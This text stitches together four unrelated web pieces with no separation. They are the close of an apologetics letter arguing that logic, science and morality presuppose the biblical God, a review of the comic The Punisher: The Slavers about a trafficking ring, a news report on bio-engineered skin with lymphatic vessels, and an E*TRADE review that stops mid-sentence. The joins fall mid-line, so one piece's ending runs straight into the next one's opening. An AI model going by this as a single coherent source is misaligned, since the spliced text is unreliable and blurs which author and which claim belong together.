Also, absolute moral standards are dependent on the holy, sinless God of the Bible. He promises to judge those who violate His laws—each of us—by casting sinful unbelievers into the lake of fire or freeing sinful believers by His own Son’s blood on the Cross ( 2 Thessalonians 1:8–9 ; Ephesians 1:7 ). If the evolutionary worldview were true, we would be advanced animals acting on chemical impulses. Absolute moral standards would not exist.
Science itself requires the biblical God. Without the uniformity of nature, which can only be explained by God consistently upholding the universe, science would be a guessing game. In a random chance universe, we’d have no reason to expect the constancy of physical laws God has ordained, such as the law of gravity.
The links within this article give more detailed information about how to show your non-Christian friend that in order to make an argument, practice science, or expect absolute morality, he has to assume the biblical God exists. Basically, you are proving your presupposition by demonstrating the impossibility of God not existing. No wonder Scripture calls a person a fool who says, “There is no God” ( Psalm 14:1 ). Knowledge and wisdom depend on the existence of the biblical God ( Proverbs 1:7 ; Colossians 2:3 ).
As you humbly share, recognize this is an issue of the heart. We all inherently know the Creator, but many suppress that truth in unrighteousness, and their thinking becomes futile ( Romans 1:18–22 ). Warn of the justice of God in punishing sin ( Romans 6:23 ). Then share the grace of God in sending His Son to take that punishment for those who turn to the Lord Jesus in repentance and faith.
God bless your faithful witness!
His,
Darius and Karin Viet
For more informationIt’s been a while now since general audiences have accepted that comic books, as a medium, can tell worthwhile stories– Maus won its Pulitzer Prize over two decades ago, after all. Aided in visibility by its movie adaptation, Watchmen has even made the public think twice about the superhero genre before dismissing it out of hand. Still, these are standalone stories, and superhero comics published at a brisk monthly pace can still count on healthy skepticism from many. The Punisher, in all his violence, is perhaps the least likely suspect to be the vehicle for stories that carry a gripping message about the world we live in and the parts of it we try not to look at.
The Punisher, for any who don’t know, is Frank Castle, a former US marine who saw his family gunned down in a shoot-out between mobsters and afterwards began a violent one-man war on all criminals. In most of his stories, Castle uses conventional firearms and can only notionally be considered a superhero by the company he keeps, being a character in the Marvel Universe.
The Punisher: The Slavers (and the entire run during which the story was serialized) removes the character to a world where such bright and shiny things as superheroes cannot possibly exist. It is a frightening world where the Punisher becomes a force of nature. Perhaps not one for good, but certainly one against the myriad forms of human evil.
Writer Garth Ennis was already coming off a long, defining run on The Punisher, characterized by the dark sense of humor which is one of Ennis’s trademarks, when the opportunity presented itself to redefine the character again under the auspices of Marvel’s new MAX imprint. MAX is an imprint exclusively for adult readers, free from the self-imposed rules of what many still saw and/or see as a children’s medium. (The first word of dialogue spoken in the first MAX comic–Alias #1–was of course “fuck”. Just to get it out of the way.) For The Punisher, this obviously meant more graphic violence, but it also provided Ennis with an outlet for the other trademark of his writing–a darkness of subject matter that is very difficult to be humorous about.
Although Frank Castle never becomes explicitly superhuman–no more than many an action movie star, that is–he is close to a force of nature, universally feared and almost unstoppable. There is an argument to be made that Castle is less the main character than the conceit used to propel other characters forward.
What makes The Slavers stand out even from the rest of the MAX run, firstly, is its subject matter. Here, Frank Castle fights not generic mobsters, but an Eastern-European slavery ring–bringing girls to the US to work in forced prostitution–that is plucked straight from the real world. Ennis is not one to shy from research for his writing, and this too is based on horrifically true crime. In many aspects, the story reads like a piece of hard journalism that uses its coating of fiction effectively–to put faces to otherwise nameless statistics, forcing the readers to confront the issues in a more direct manner than they might otherwise choose to.
Plot-wise, the things that one would expect to happen, do in fact happen. Frank Castle discovers that a slavery ring is operating in his city, sets about uncovering its members and resources, and then begins punishing in a suitably hyper-violent way.
That, however, is merely the framework of entertainment on which the rest of the tale rests, and which drags in other characters whether they come willingly or not. Through these other characters, a broader world begins taking shape. There are the victims, represented by young Viorica, who runs across the Punisher and so sets everything in motion, and the villains. But there are also two police officers and a social worker.
The latter three represent what should be our line of defense against slavery rings and any such horrors–The Slavers is open about the fact that a better world would not need a Punisher, or the fantasy of him. In reality, though–both the reality of the story and the one we live in–our line of defense falls far short. Part of that comes from corruption, part of it from incompetence, but ultimately what it comes down to is that these characters are only human.
After giving a lecture detailing some of the gruesome facts of human trafficking, social worker Jen Cooke perhaps speaks with the author’s voice when she says, “The lecture you heard today? I had to sanitize it. I didn’t want to scare people off, make it so horrific that they wouldn’t even want to think about the issues.” In other words, most regular people are simply not equipped to deal with the inhuman ruthlessness of some of the things that go on in our world, not as individuals and not as institutions. Even when genuinely giving their all, they find themselves facing situations that have already grown far beyond their capabilities and comprehension.
Which is where the Punisher comes in. He is a revenge fantasy made flesh, who will make the people we can’t help but feel deserve it hurt. As they run up against brick walls and costly failures, the decent characters in the story one by one compromise their ethics to seek the only possibility of justice that is left–that of the Punisher.
In the real world, we have no Punisher, and we wouldn’t be glad of it if we did. (Or would we? In some cases, it is hard to tell.) He is the engine that drives this story to an ending, if not quite to a happy one. Afterwards, the other characters are left to pick up the pieces of their principles. The world is still unchanged, still like ours. One of the police officers quits and joins the social worker in her crusade, the other carries on, because even compromised, he feels that his best option is to carry on the fight as best he can.
Even in the context of The Punisher, no one believes that Frank Castle’s way is a perfect solution. He is the extreme measure that is justified after a situation has moved past any chance of redemption. His chosen name is no coincidence, as Castle is ill-equipped–emotionally or otherwise–to do much for victims. His job is to punish the perpetrators, to go old-school eye for an eye. Treating the symptoms, rather than the causes.
The final pages of The Slavers brutally explain that even though Castle has freed a handful of girls from a life of slavery and forced prostitution, he has by no means saved them. These girls have no lives left to return to, nothing other than prostitution to fall back on. Some don’t find a new life at all and come to a miserable end, but even those who do are unlikely to ever be free of the things that were done to them.
There is an inherent warning in this story, and perhaps in the concept of The Punisher as a whole. Beware, it says, for there may be situations where any of us would like someone like the Punisher to step in, but if things have come that far, that means it is already too late. The Punisher cleans up after horrors–he does not make them vanish. The only way to do that is to confront those things that we would prefer to shy away from and work towards a world where the concept of a Punisher doesn’t have such fertile ground to grow in.
Because he was the driving force behind the entire series, it’s easy to let the bulk of the attention go to writer Garth Ennis, but it is impossible to overestimate the contribution to the story made by the stark but human art by Leandro Fernandez (with Scott Koblish on inks) and the dirty, splotchy colors by regular colorist Dan Brown. The Slavers spends significant time giving faces to statistics of crime and suffering that sadly exist in the real world, and nothing works quite so well for that as actually seeing faces and reading the anguish and world-weariness from them. The art also sets the scene in a world where nothing is clean and there are no easy solutions, and where evil people–Frank Castle included–become imposing shadows.
No matter anything else, The Punisher: The Slavers remains an action-packed, hyper-violent thriller–without that, it’s questionable whether it would even be a Punisher story. But because of that, the message it strives to impart manages to hit home in a direct, visceral manner. It is both a satisfying fantasy and an exposé of real-world crimes that defy the short-term solutions of the action thriller.
Let’s be clear–this is not a story that will leave the reader with a happy, comfortable feeling, aside from during the moments of primal glee when monsters who have it coming get what they deserve. But it is engrossing and not without its dry wit, and what few action thriller can claim, perhaps will even make you think about some of the uncomfortable realities of the world in which we live. It can be no coincidence that the story arc following The Slavers is the one in the MAX series which most hearkens back to Garth Ennis’s previous, darkly humorous take on The Punisher–one can only imagine that the writer needed a break after the intensity of The Slavers as much as the reader will.Swiss scientists have developed a breakthrough technique that could see full-thickness skin grown in the lab, complete with blood and lymph vessels.
Skin grafting has been used to treat major burns and wounds for some 30 years. It is also used in a range of procedures including plastic surgery. But scientists have only been able to grow top layer skin and have been using a “sandwich technique” that involves using dead donor skin to cover the wound while a fresh layer is grown in the lab.
But using specialist human endothelial cells (which line blood and lymphatic vessels) combined with fibroblast cells, which help to build tissue, the scientists were able to create human bio-engineered skin with functioning lymphatic vessels in a 3D gel in three weeks. Lymphatic vessels are important in regulating tissue fluid and carrying immune cells – vital if grafted skin is to settle in properly.
The scientists, who published in Science Translational Medicine, showed that these vessels branched and took up fluid 14 days after being transplanted onto rodents whose immune systems had been knocked out.
Skin sandwich
The current way of skin grafting involves a “sandwich technique” which involves first taking a sample of cells from a patient or scraps of skin. These are then expanded to grow more skin in just a few weeks. When major burns are treated, the burned skin of a patient is removed leaving a wound base of fat or tissue that can be covered with skin from a dead donor. This allows the body to grow new vessels into the lower part of the skin (the dermis) and creates a barrier layer that leaves enough time for the patient’s own skin to be grown in the lab.
When it is ready, a surgeon will then remove the top layer of the donor skin and attach the lab skin. In the US, a commercial product called Integra, an artifical skin made of silicone and collagen, is used rather than donated skin.
But there are drawbacks to doing skin grafts this way. Sheila MacNeil, a professor of tissue engineering at Sheffield University, said: “Conventional skin grafting takes skin from one part of the body and grows it to be big enough to cover the affected area. Everyone has been able to make skin that looks good but when you put it on the wound bed the big problem is getting it vascularised and blood pumped into it fast enough. Problems begin because it’s not just about creating barrier skin but also the dermis.”
Essentially, you can’t just lay a piece of skin onto a wound because without an adequate blood supply it will die. And some people, like the elderly, aren’t able to grow new vessels so easily even with donor skin.
Moving things on
While it has been suspected that growing full-thickness skin involved more than just one set of cells, it is the first time scientists have shown a way to do it with two.
Sheila MacNeil, professor of tissue engineering at Sheffield University, said the sandwich technique of skin grafting was where medicine had been “stuck for some time”.
“You can’t just bung endothelial cells into skin and hope they work,” she said. “Endothelial cells are specialist, they only do one thing. They can line the tubes but they’re not up to the whole job. You need a combination of two cells.”
“Here they’ve used fibroblasts working as ‘helper cells’ to make the tubes. They’ve shown that they can make it work in 3D with tubes that look like early stage blood vessels and lymph nodes. It’s a very clever paper.”
She said the next step would be to show it could work in rodents that were not immunosupressed – in other words in rodents that have working immune systems to test how much transplanted skin might be rejected. But while the work ahead would be painstaking, it could reach early clinical applications with two to three years work, rather than ten years.
Ash Mosahebi, a consultant surgeon and lecturer in cosmetic surgery at UCL, said having blood vessels in bio-engineered skin would speed up integration of the skin following transplant surgery and could improve the final outcome.
“This is part of the general trends and advances in regenerative and reconstructive surgery,” Mosahebi said. “As we are developing and using more bio-active products and substitutes to improve the outcome of the treatments … The eventual aim would be to tailor-make grafts and replacements for a particular patient from their own cells.”
The drawbacks included cost and bio-engineered skin “not having biological constituents such as hair and sweat glands.” They can also be difficult to use and prone to infection, he said.Brokerage Review: E*TRADE
You can’t seem to avoid the Etrade Baby. Indeed, the cute baby has become the symbol of Etrade, and the amusing commercials illicit chuckles from nearly everyone. But is Etrade the online brokerage for you? If you are looking for a place to park your retirement account, and do a little buy and hold investing, it might not be a bad option, and very active traders can benefit from lower commissions. However, for the occasional trader might do better elsewhere.
Account Options and Fees
As with most investment accounts, you need to go through a process to get started. The process takes about 10 minutes, and you can begin exploring the site. However, you won’t be able to start trading until your funds are in the account. This can take between one business day (if you choose wire transfer) and eight business days (if you choose account transfer). ACH transfer is among the popular options, and that takes about three business days.
Your money is held in one of the Sweep Options. For many investors, the default option, the ETRADE Financial Extended Insurance Sweep Deposit Account, is a fine choice. This account is FDIC insured and earns interest. If you maintain a minimum balance of $1,000, you can get access to a free debit card and check writing. This can make your account much like a fee-free checking account. As long as you maintain the minimum, it can be one way to earn daily interest on your checking account money, and avoid fees.
Your trading opportunities are reasonably varied, with the following investment products:
Stocks
Bonds
Mutual funds (including index funds)
ETFs
Options
Futures
You can also open a margin account, but you need $2 |
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